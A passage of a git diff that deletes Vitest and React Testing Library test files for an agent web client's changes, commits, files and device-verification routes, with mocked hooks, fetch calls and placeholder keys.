screen.getByText("DIFF_VIEWER$NOT_A_GIT_REPO"), - ).toBeInTheDocument(); - }); - - it("should show the loading message while git changes are loading", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [], - isLoading: true, - isFetching: true, - isSuccess: false, - isError: false, - error: null, - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect(screen.getByText("DIFF_VIEWER$LOADING")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/routes/commits-tab.test.tsx b/__tests__/routes/commits-tab.test.tsx deleted file mode 100644 index 37872f092..000000000 --- a/__tests__/routes/commits-tab.test.tsx +++ /dev/null @@ -1,161 +0,0 @@ -import React from "react"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { MemoryRouter } from "react-router"; - -import GitCommits from "#/routes/commits-tab"; -import AgentServerGitService from "#/api/git-service/agent-server-git-service.api"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { AgentState } from "#/types/agent-state"; -import type { GitCommit } from "#/api/open-hands.types"; - -const conversation = { - conversation_url: "http://localhost:18000/api/conversations/c1", - session_api_key: "test-key", - workspace: { working_dir: "/workspace/project" }, -}; - -vi.mock("#/hooks/use-agent-state"); -vi.mock("#/hooks/use-conversation-id", () => ({ - useConversationId: () => ({ conversationId: "c1" }), -})); -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => ({ data: conversation }), -})); -vi.mock("#/hooks/use-runtime-is-ready", () => ({ - useRuntimeIsReady: () => true, -})); - -const makeCommit = (overrides: Partial = {}): GitCommit => ({ - sha: "a".repeat(40), - shortSha: "aaaaaaa", - subject: "add logging", - author: "Agent", - timestamp: "2026-07-10T12:00:00+07:00", - ...overrides, -}); - -const wrapper = ({ children }: { children: React.ReactNode }) => ( - - - {children} - - -); - -describe("Commits Tab", () => { - const getGitCommitsSpy = vi.spyOn(AgentServerGitService, "getGitCommits"); - const getCommitChangesSpy = vi.spyOn( - AgentServerGitService, - "getCommitChanges", - ); - - beforeEach(() => { - getGitCommitsSpy.mockReset(); - getCommitChangesSpy.mockReset(); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - }); - - it("shows the waiting state while the runtime is inactive", () => { - // Arrange - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.ERROR, - }); - getGitCommitsSpy.mockResolvedValue({ commits: [], hasMore: false }); - - // Act - render(, { wrapper }); - - // Assert - expect(screen.getByTestId("commits-tab-status")).toBeInTheDocument(); - }); - - it("shows the empty state when the repository has no commits", async () => { - // Arrange - getGitCommitsSpy.mockResolvedValue({ commits: [], hasMore: false }); - - // Act - render(, { wrapper }); - - // Assert - expect( - await screen.findByText("DIFF_VIEWER$NO_COMMITS"), - ).toBeInTheDocument(); - }); - - it("lists the commits returned by the server", async () => { - // Arrange - getGitCommitsSpy.mockResolvedValue({ - commits: [ - makeCommit({ sha: "a".repeat(40), subject: "add logging" }), - makeCommit({ - sha: "b".repeat(40), - shortSha: "bbbbbbb", - subject: "fix tests", - }), - ], - hasMore: false, - }); - - // Act - render(, { wrapper }); - - // Assert - expect(await screen.findByText("add logging")).toBeInTheDocument(); - expect(screen.getByText("fix tests")).toBeInTheDocument(); - expect(screen.getByText("aaaaaaa")).toBeInTheDocument(); - }); - - it("expanding a commit fetches and lists the files it changed", async () => { - // Arrange - const user = userEvent.setup(); - const sha = "a".repeat(40); - getGitCommitsSpy.mockResolvedValue({ - commits: [makeCommit({ sha })], - hasMore: false, - }); - getCommitChangesSpy.mockResolvedValue([ - { status: "D", path: "doomed.txt" }, - ]); - render(, { wrapper }); - await screen.findByText("add logging"); - - // Act - await user.click(screen.getByTestId("commit-row-toggle")); - - // Assert — the commit's file list is fetched by sha and rendered. - await waitFor(() => - expect(getCommitChangesSpy).toHaveBeenCalledWith( - conversation.conversation_url, - conversation.session_api_key, - "/workspace/project", - sha, - ), - ); - expect(await screen.findByText("doomed.txt")).toBeInTheDocument(); - }); - - it("shows the cap notice when the history was truncated", async () => { - // Arrange - getGitCommitsSpy.mockResolvedValue({ - commits: [makeCommit()], - hasMore: true, - }); - - // Act - render(, { wrapper }); - - // Assert - expect( - await screen.findByTestId("commit-list-cap-notice"), - ).toBeInTheDocument(); - }); -}); diff --git a/__tests__/routes/conversation-backend-switch.test.tsx b/__tests__/routes/conversation-backend-switch.test.tsx deleted file mode 100644 index a1a4d9784..000000000 --- a/__tests__/routes/conversation-backend-switch.test.tsx +++ /dev/null @@ -1,166 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import React from "react"; -import { render, screen, waitFor } from "@testing-library/react"; -import { MemoryRouter } from "react-router"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; - -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { NavigationProvider } from "#/context/navigation-context"; -import ConversationView from "#/routes/conversation"; -import type { Backend } from "#/api/backend-registry/types"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; - -// Mock the underlying service the conversation queries depend on. -vi.mock( - "#/api/conversation-service/agent-server-conversation-service.api", - () => ({ - default: { batchGetAppConversations: vi.fn() }, - }), -); - -// Stub the heavy presentational subtree so the test focuses on the route's -// teardown behaviour, not the conversation UI. -vi.mock( - "#/components/features/conversation/conversation-main/conversation-main", - () => ({ - ConversationMain: () =>
    , - }), -); -vi.mock( - "#/components/features/conversation/conversation-main/conversation-mobile-panel-page", - () => ({ - ConversationMobilePanelPage: () =>
    , - }), -); -vi.mock("#/wrapper/event-handler", () => ({ - EventHandler: ({ children }: { children: React.ReactNode }) => ( - <>{children} - ), -})); -vi.mock("#/contexts/websocket-provider-wrapper", () => ({ - WebSocketProviderWrapper: ({ children }: { children: React.ReactNode }) => ( - <>{children} - ), -})); -vi.mock("#/hooks/query/use-task-polling", () => ({ - useTaskPollingController: () => ({ - isTask: false, - taskStatus: null, - taskDetail: null, - }), -})); -vi.mock("#/hooks/query/use-is-authed", () => ({ - useIsAuthed: () => ({ data: true }), -})); -vi.mock("#/api/cloud/conversation-service.api", () => ({ - resumeCloudSandbox: vi.fn(), -})); - -const localBackend: Backend = { - id: "local-1", - name: "Local 1", - host: "http://localhost:8000", - apiKey: "session-key", - kind: "local", -}; - -const cloudBackend: Backend = { - id: "cloud-1", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-key", - kind: "cloud", -}; - -const CLOUD_CONVERSATION_ID = "conv-cloud"; - -function makeConversation(id: string): AppConversation { - return { - id, - created_by_user_id: null, - selected_repository: null, - selected_branch: null, - git_provider: null, - title: "Test", - trigger: null, - pr_number: [], - llm_model: null, - metrics: null, - created_at: "2024-01-01T00:00:00Z", - updated_at: "2024-01-01T00:00:00Z", - execution_status: null, - sandbox_status: null, - conversation_url: "https://sandbox.example.com/api", - session_api_key: null, - sandbox_id: null, - sub_conversation_ids: [], - }; -} - -function renderConversation() { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - - - - - - - - - , - ); -} - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - vi.mocked( - AgentServerConversationService.batchGetAppConversations, - ).mockReset(); - vi.mocked( - AgentServerConversationService.batchGetAppConversations, - ).mockResolvedValue([makeConversation(CLOUD_CONVERSATION_ID)]); - setRegisteredBackends([localBackend, cloudBackend]); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); -}); - -describe("conversation route — backend switch", () => { - it("tears down the conversation view when the active backend changes mid-conversation", async () => { - // Arrange — the cloud conversation renders while the cloud backend is active. - setActiveSelection({ backendId: cloudBackend.id }); - renderConversation(); - expect( - await screen.findByTestId("conversation-main"), - ).toBeInTheDocument(); - - // Act — switch to the local backend without leaving the conversation. - setActiveSelection({ backendId: localBackend.id }); - - // Assert — the subtree unmounts instead of rendering the cloud - // conversation under the local backend, so its per-conversation queries - // cannot fire against a backend the id is foreign to. - await waitFor(() => { - expect(screen.queryByTestId("conversation-main")).not.toBeInTheDocument(); - }); - }); -}); diff --git a/__tests__/routes/device-verify.test.tsx b/__tests__/routes/device-verify.test.tsx deleted file mode 100644 index 248f28665..000000000 --- a/__tests__/routes/device-verify.test.tsx +++ /dev/null @@ -1,595 +0,0 @@ -import { render, screen, waitFor } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import userEvent from "@testing-library/user-event"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { createRoutesStub } from "react-router"; -import DeviceVerify from "#/routes/device-verify"; - -const { useIsAuthedMock } = vi.hoisted(() => ({ - useIsAuthedMock: vi.fn(() => ({ - data: false as boolean | undefined, - isLoading: false, - })), -})); - -vi.mock("#/hooks/query/use-is-authed", () => ({ - useIsAuthed: () => useIsAuthedMock(), -})); - -const RouterStub = createRoutesStub([ - { - Component: DeviceVerify, - path: "/device-verify", - }, -]); - -const createWrapper = () => { - const queryClient = new QueryClient({ - defaultOptions: { - queries: { - retry: false, - }, - }, - }); - - function Wrapper({ children }: { children: React.ReactNode }) { - return ( - {children} - ); - } - - return Wrapper; -}; - -describe("DeviceVerify", () => { - beforeEach(() => { - vi.clearAllMocks(); - vi.stubGlobal("close", vi.fn()); - // Mock fetch for API calls - vi.stubGlobal( - "fetch", - vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({}), - }), - ), - ); - }); - - afterEach(() => { - vi.restoreAllMocks(); - vi.unstubAllGlobals(); - }); - - describe("Loading State", () => { - it("should show loading spinner while checking authentication", async () => { - useIsAuthedMock.mockReturnValue({ - data: undefined, - isLoading: true, - }); - - render(, { - wrapper: createWrapper(), - }); - - await waitFor(() => { - const spinner = document.querySelector(".animate-spin"); - expect(spinner).toBeInTheDocument(); - }); - - expect(screen.getByText("DEVICE$PROCESSING")).toBeInTheDocument(); - }); - }); - - describe("Not Authenticated State", () => { - it("should show authentication required message when not authenticated", async () => { - useIsAuthedMock.mockReturnValue({ - data: false, - isLoading: false, - }); - - render(, { - wrapper: createWrapper(), - }); - - await waitFor(() => { - expect(screen.getByText("DEVICE$AUTH_REQUIRED")).toBeInTheDocument(); - }); - - expect(screen.getByText("DEVICE$SIGN_IN_PROMPT")).toBeInTheDocument(); - }); - }); - - describe("Authenticated without User Code", () => { - it("should show manual code entry form when authenticated but no code in URL", async () => { - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - render(, { - wrapper: createWrapper(), - }); - - await waitFor(() => { - expect( - screen.getByText("DEVICE$AUTHORIZATION_TITLE"), - ).toBeInTheDocument(); - }); - - expect(screen.getByText("DEVICE$ENTER_CODE_PROMPT")).toBeInTheDocument(); - expect(screen.getByLabelText("DEVICE$CODE_INPUT_LABEL")).toBeInTheDocument(); - expect( - screen.getByRole("button", { name: "DEVICE$CONTINUE" }), - ).toBeInTheDocument(); - }); - - it("should submit manually entered code", async () => { - const user = userEvent.setup(); - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({}), - }), - ); - vi.stubGlobal("fetch", mockFetch); - - render(, { - wrapper: createWrapper(), - }); - - await waitFor(() => { - expect(screen.getByLabelText("DEVICE$CODE_INPUT_LABEL")).toBeInTheDocument(); - }); - - const input = screen.getByLabelText("DEVICE$CODE_INPUT_LABEL"); - await user.type(input, "TESTCODE"); - - const submitButton = screen.getByRole("button", { - name: "DEVICE$CONTINUE", - }); - await user.click(submitButton); - - await waitFor(() => { - expect(mockFetch).toHaveBeenCalledWith( - "/oauth/device/verify-authenticated", - expect.objectContaining({ - method: "POST", - headers: { - "Content-Type": "application/x-www-form-urlencoded", - }, - body: "user_code=TESTCODE", - credentials: "include", - }), - ); - }); - }); - }); - - describe("Authenticated with User Code", () => { - it("should show authorization confirmation when authenticated with code in URL", async () => { - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - render( - , - { - wrapper: createWrapper(), - }, - ); - - await waitFor(() => { - expect( - screen.getByText("DEVICE$AUTHORIZATION_REQUEST"), - ).toBeInTheDocument(); - }); - - expect(screen.getByText("DEVICE$CODE_LABEL")).toBeInTheDocument(); - expect(screen.getByText("ABC-123")).toBeInTheDocument(); - expect(screen.getByText("DEVICE$SECURITY_NOTICE")).toBeInTheDocument(); - expect(screen.getByText("DEVICE$SECURITY_WARNING")).toBeInTheDocument(); - expect(screen.getByText("DEVICE$CONFIRM_PROMPT")).toBeInTheDocument(); - }); - - it("should show cancel and authorize buttons", async () => { - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - render( - , - { - wrapper: createWrapper(), - }, - ); - - await waitFor(() => { - expect( - screen.getByRole("button", { name: "DEVICE$CANCEL" }), - ).toBeInTheDocument(); - expect( - screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }), - ).toBeInTheDocument(); - }); - }); - - it("should call window.close when cancel button is clicked", async () => { - const user = userEvent.setup(); - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - render( - , - { - wrapper: createWrapper(), - }, - ); - - await waitFor(() => { - expect( - screen.getByRole("button", { name: "DEVICE$CANCEL" }), - ).toBeInTheDocument(); - }); - - const cancelButton = screen.getByRole("button", { name: "DEVICE$CANCEL" }); - await user.click(cancelButton); - - expect(window.close).toHaveBeenCalled(); - }); - - it("should submit device verification when authorize button is clicked", async () => { - const user = userEvent.setup(); - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({}), - }), - ); - vi.stubGlobal("fetch", mockFetch); - - render( - , - { - wrapper: createWrapper(), - }, - ); - - await waitFor(() => { - expect( - screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }), - ).toBeInTheDocument(); - }); - - const authorizeButton = screen.getByRole("button", { - name: "DEVICE$AUTHORIZE", - }); - await user.click(authorizeButton); - - await waitFor(() => { - expect(mockFetch).toHaveBeenCalledWith( - "/oauth/device/verify-authenticated", - expect.objectContaining({ - method: "POST", - headers: { - "Content-Type": "application/x-www-form-urlencoded", - }, - body: "user_code=ABC-123", - credentials: "include", - }), - ); - }); - }); - }); - - describe("Processing State", () => { - it("should show processing spinner during verification", async () => { - const user = userEvent.setup(); - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - // Make fetch hang to show processing state - const mockFetch = vi.fn(() => new Promise(() => {})); - vi.stubGlobal("fetch", mockFetch); - - render( - , - { - wrapper: createWrapper(), - }, - ); - - await waitFor(() => { - expect( - screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }), - ).toBeInTheDocument(); - }); - - const authorizeButton = screen.getByRole("button", { - name: "DEVICE$AUTHORIZE", - }); - await user.click(authorizeButton); - - await waitFor(() => { - const spinner = document.querySelector(".animate-spin"); - expect(spinner).toBeInTheDocument(); - expect(screen.getByText("DEVICE$PROCESSING")).toBeInTheDocument(); - }); - }); - }); - - describe("Success State", () => { - it("should show success message after successful verification", async () => { - const user = userEvent.setup(); - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({}), - }), - ); - vi.stubGlobal("fetch", mockFetch); - - render( - , - { - wrapper: createWrapper(), - }, - ); - - await waitFor(() => { - expect( - screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }), - ).toBeInTheDocument(); - }); - - const authorizeButton = screen.getByRole("button", { - name: "DEVICE$AUTHORIZE", - }); - await user.click(authorizeButton); - - await waitFor(() => { - expect(screen.getByText("DEVICE$SUCCESS_TITLE")).toBeInTheDocument(); - }); - - expect(screen.getByText("DEVICE$SUCCESS_MESSAGE")).toBeInTheDocument(); - // Should show success icon (checkmark) - const successIcon = document.querySelector(".text-green-600"); - expect(successIcon).toBeInTheDocument(); - }); - - it("should not show try again button on success", async () => { - const user = userEvent.setup(); - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({}), - }), - ); - vi.stubGlobal("fetch", mockFetch); - - render( - , - { - wrapper: createWrapper(), - }, - ); - - await waitFor(() => { - expect( - screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }), - ).toBeInTheDocument(); - }); - - const authorizeButton = screen.getByRole("button", { - name: "DEVICE$AUTHORIZE", - }); - await user.click(authorizeButton); - - await waitFor(() => { - expect(screen.getByText("DEVICE$SUCCESS_TITLE")).toBeInTheDocument(); - }); - - expect( - screen.queryByRole("button", { name: "DEVICE$TRY_AGAIN" }), - ).not.toBeInTheDocument(); - }); - }); - - describe("Error State", () => { - it("should show error message when verification fails with non-ok response", async () => { - const user = userEvent.setup(); - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: false, - status: 400, - json: () => Promise.resolve({ error: "invalid_code" }), - }), - ); - vi.stubGlobal("fetch", mockFetch); - - render( - , - { - wrapper: createWrapper(), - }, - ); - - await waitFor(() => { - expect( - screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }), - ).toBeInTheDocument(); - }); - - const authorizeButton = screen.getByRole("button", { - name: "DEVICE$AUTHORIZE", - }); - await user.click(authorizeButton); - - await waitFor(() => { - expect(screen.getByText("DEVICE$ERROR_TITLE")).toBeInTheDocument(); - }); - - expect(screen.getByText("DEVICE$ERROR_FAILED")).toBeInTheDocument(); - // Should show error icon (X) - const errorIcon = document.querySelector(".text-red-600"); - expect(errorIcon).toBeInTheDocument(); - }); - - it("should show error message when fetch throws an exception", async () => { - const user = userEvent.setup(); - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - const mockFetch = vi.fn(() => Promise.reject(new Error("Network error"))); - vi.stubGlobal("fetch", mockFetch); - - render( - , - { - wrapper: createWrapper(), - }, - ); - - await waitFor(() => { - expect( - screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }), - ).toBeInTheDocument(); - }); - - const authorizeButton = screen.getByRole("button", { - name: "DEVICE$AUTHORIZE", - }); - await user.click(authorizeButton); - - await waitFor(() => { - expect(screen.getByText("DEVICE$ERROR_TITLE")).toBeInTheDocument(); - }); - - expect(screen.getByText("DEVICE$ERROR_OCCURRED")).toBeInTheDocument(); - }); - - it("should show try again button on error", async () => { - const user = userEvent.setup(); - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: false, - status: 400, - }), - ); - vi.stubGlobal("fetch", mockFetch); - - render( - , - { - wrapper: createWrapper(), - }, - ); - - await waitFor(() => { - expect( - screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }), - ).toBeInTheDocument(); - }); - - const authorizeButton = screen.getByRole("button", { - name: "DEVICE$AUTHORIZE", - }); - await user.click(authorizeButton); - - await waitFor(() => { - expect( - screen.getByRole("button", { name: "DEVICE$TRY_AGAIN" }), - ).toBeInTheDocument(); - }); - }); - - it("should reload page when try again button is clicked", async () => { - const user = userEvent.setup(); - useIsAuthedMock.mockReturnValue({ - data: true, - isLoading: false, - }); - - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: false, - status: 400, - }), - ); - vi.stubGlobal("fetch", mockFetch); - - const reloadMock = vi.fn(); - vi.stubGlobal("location", { reload: reloadMock }); - - render( - , - { - wrapper: createWrapper(), - }, - ); - - await waitFor(() => { - expect( - screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }), - ).toBeInTheDocument(); - }); - - const authorizeButton = screen.getByRole("button", { - name: "DEVICE$AUTHORIZE", - }); - await user.click(authorizeButton); - - await waitFor(() => { - expect( - screen.getByRole("button", { name: "DEVICE$TRY_AGAIN" }), - ).toBeInTheDocument(); - }); - - const tryAgainButton = screen.getByRole("button", { - name: "DEVICE$TRY_AGAIN", - }); - await user.click(tryAgainButton); - - expect(reloadMock).toHaveBeenCalled(); - }); - }); -}); diff --git a/__tests__/routes/files-tab.test.tsx b/__tests__/routes/files-tab.test.tsx deleted file mode 100644 index c3a7dfc38..000000000 --- a/__tests__/routes/files-tab.test.tsx +++ /dev/null @@ -1,703 +0,0 @@ -/* eslint-disable react/jsx-props-no-spreading */ -import { render, screen, waitFor, within } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { MemoryRouter } from "react-router"; - -import FilesTab from "#/routes/files-tab"; -import { useFilesTabStore } from "#/stores/files-tab-store"; -import { NavigationProvider } from "#/context/navigation-context"; - -// Mocks must be declared before the SUT is imported. -const useHasAttachedSourceMock = vi.fn(); -const useHasGitCommitsMock = vi.fn(); -const useUnifiedGitCommitsMock = vi.fn(); -const useWorkspaceFilesMock = vi.fn(); -const useWorkspaceFileContentMock = vi.fn(); -const refetchGitChangesMock = vi.fn(); - -vi.mock("#/hooks/use-has-attached-source", () => ({ - useHasAttachedSource: () => useHasAttachedSourceMock(), -})); - -vi.mock("#/hooks/query/use-has-git-commits", () => ({ - useHasGitCommits: (opts?: { enabled?: boolean }) => - useHasGitCommitsMock(opts), -})); - -vi.mock("#/hooks/query/use-unified-git-commits", () => ({ - useUnifiedGitCommits: () => useUnifiedGitCommitsMock(), -})); - -vi.mock("#/hooks/query/use-workspace-files", () => ({ - useWorkspaceFiles: () => useWorkspaceFilesMock(), -})); - -vi.mock("#/hooks/query/use-workspace-file-content", () => ({ - useWorkspaceFileContent: (path: string | null) => - useWorkspaceFileContentMock(path), -})); - -vi.mock("#/hooks/query/use-unified-get-git-changes", () => ({ - useUnifiedGetGitChanges: () => ({ - refetch: refetchGitChangesMock, - isFetching: false, - }), -})); - -vi.mock("#/routes/changes-tab", () => ({ - default: () =>
    Diff View
    , -})); - -vi.mock("#/routes/commits-tab", () => ({ - default: () =>
    Commits View
    , -})); - -function renderTab(conversationId: string | null = null) { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - - {}, - }} - > - - - - - , - ); -} - -describe("FilesTab", () => { - beforeEach(() => { - // `selectedPath` lives in a global Zustand store (useFilesTabStore) and - // the auto-select effect re-fires when the store is reset between tests, - // which can race with the Zustand mock's afterEach reset and leave the - // store polluted with the previous test's path. Resetting here, after - // the previous test's cleanup() has unmounted any FilesTab, defeats - // that race so each test starts with a clean selection. - useFilesTabStore.setState({ - selectedPath: null, - selectedConversationId: null, - }); - - useHasAttachedSourceMock.mockReset(); - useHasGitCommitsMock.mockReset(); - useUnifiedGitCommitsMock.mockReset(); - useWorkspaceFilesMock.mockReset(); - useWorkspaceFileContentMock.mockReset(); - refetchGitChangesMock.mockReset(); - // Default: pretend the probe has already resolved with at least one - // commit. Individual tests can override this for "empty repo" cases. - useHasGitCommitsMock.mockReturnValue({ - hasCommits: true, - isLoading: false, - }); - // Default: the agent server supports the commits API (the third toggle - // segment is offered) but the conversation has no commits yet. - useUnifiedGitCommitsMock.mockReturnValue({ - commits: [], - hasMore: false, - isUnsupported: false, - isLoading: false, - isFetching: false, - isSuccess: true, - isError: false, - }); - - useWorkspaceFilesMock.mockReturnValue({ - data: ["index.html", "src/main.ts", "README.md"], - isLoading: false, - }); - useWorkspaceFileContentMock.mockReturnValue({ - data: { - path: "index.html", - kind: "text", - text: "hello", - staticUrl: - "http://localhost:3000/api/conversations/c1/workspace/index.html", - mimeType: "text/html", - }, - isLoading: false, - isError: false, - }); - }); - - it("defaults to diff view when the user attached a source (repo or workspace)", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: true, - isLoading: false, - }); - - renderTab(); - - expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument(); - // The Rich/Plain toggle is hidden when diff view is active. - expect( - screen.queryByTestId("files-tab-content-mode-toggle"), - ).not.toBeInTheDocument(); - }); - - it("defaults to files+rich view when the attached source has no commits (non-git workspace or unborn HEAD)", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: true, - isLoading: false, - }); - useHasGitCommitsMock.mockReturnValue({ - hasCommits: false, - isLoading: false, - }); - - renderTab(); - - // Even though something is attached, the diff view is suppressed when - // there's nothing to diff against. - expect(screen.queryByTestId("changes-tab-content")).not.toBeInTheDocument(); - expect( - screen.getByTestId("files-tab-content-mode-toggle"), - ).toBeInTheDocument(); - }); - - it("does NOT probe for commits when no source is attached", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - - renderTab(); - - // The hook is still called (so the diff toggle has a value), but it - // must be called with enabled: false so we don't shell out to the - // workspace pointlessly. - expect(useHasGitCommitsMock).toHaveBeenCalledWith({ enabled: false }); - }); - - it("optimistically defaults to diff view while the attachment / has-commits probes are still loading", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: true, - isLoading: false, - }); - useHasGitCommitsMock.mockReturnValue({ - hasCommits: null, - isLoading: true, - }); - - renderTab(); - - // The common case is a repo with commits, so to avoid a files→diff - // flash on initial mount we lean diff-view while loading. - expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument(); - }); - - it("defaults to plain file viewer when no source is attached", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - - renderTab(); - - expect(screen.queryByTestId("changes-tab-content")).not.toBeInTheDocument(); - // Tree is collapsed by default — user expands via the caret. - expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument(); - expect( - screen.getByTestId("files-tab-content-mode-toggle"), - ).toBeInTheDocument(); - }); - - it("lets users toggle diff view off even when a source is attached", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: true, - isLoading: false, - }); - const user = userEvent.setup(); - - renderTab(); - - expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument(); - - // Click the "Files" segment of the diff-view toggle. - await user.click(screen.getByTestId("files-tab-diff-toggle-option-off")); - - await waitFor(() => { - expect( - screen.queryByTestId("changes-tab-content"), - ).not.toBeInTheDocument(); - }); - // Quick-row toggle exists and the file-viewer area is shown. - expect( - screen.getByTestId("file-quick-row-tree-toggle"), - ).toBeInTheDocument(); - }); - - it("auto-selects the highest-priority file on first render", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - - renderTab(); - - // Either index.html (top-priority entrypoint) should be selected. - expect(useWorkspaceFileContentMock).toHaveBeenCalledWith("index.html"); - }); - - it("renders the binary fallback in plain mode for binary files", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - useWorkspaceFileContentMock.mockReturnValue({ - data: { - path: "logo.png", - kind: "binary", - text: null, - staticUrl: - "http://localhost:3000/api/conversations/c1/workspace/logo.png", - mimeType: "application/octet-stream", - }, - isLoading: false, - isError: false, - }); - const user = userEvent.setup(); - - renderTab(); - - await user.click( - screen.getByTestId("files-tab-content-mode-toggle-option-plain"), - ); - - expect( - screen.getByTestId("file-content-viewer-binary-fallback"), - ).toBeInTheDocument(); - }); - - it("shows full file paths (not just basenames) as quick-row pills", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - - renderTab(); - - // The pill for src/main.ts should display the full relative path. - const pill = screen.getByTestId("file-quick-row-item-src/main.ts"); - expect(pill).toHaveTextContent("src/main.ts"); - }); - - it("collapses the file tree by default and expands it via the caret", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - const user = userEvent.setup(); - - renderTab(); - - // Hidden by default. - expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument(); - - await user.click(screen.getByTestId("file-quick-row-tree-toggle")); - expect(screen.getByTestId("files-tab-tree")).toBeInTheDocument(); - - await user.click(screen.getByTestId("file-quick-row-tree-toggle")); - expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument(); - }); - - it("renders markdown content via MarkdownRenderer in rich mode", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - // Only expose a markdown file so it is auto-selected as the first - // priority entry. - useWorkspaceFilesMock.mockReturnValue({ - data: ["README.md"], - isLoading: false, - }); - useWorkspaceFileContentMock.mockReturnValue({ - data: { - path: "README.md", - kind: "text", - text: "# Hello\n\nSome **bold** text", - staticUrl: - "http://localhost:3000/api/conversations/c1/workspace/README.md", - mimeType: "text/markdown", - }, - isLoading: false, - isError: false, - }); - - renderTab(); - - await waitFor(() => { - expect( - screen.getByTestId("file-content-viewer-markdown"), - ).toBeInTheDocument(); - }); - - // react-markdown turns "# Hello" into an

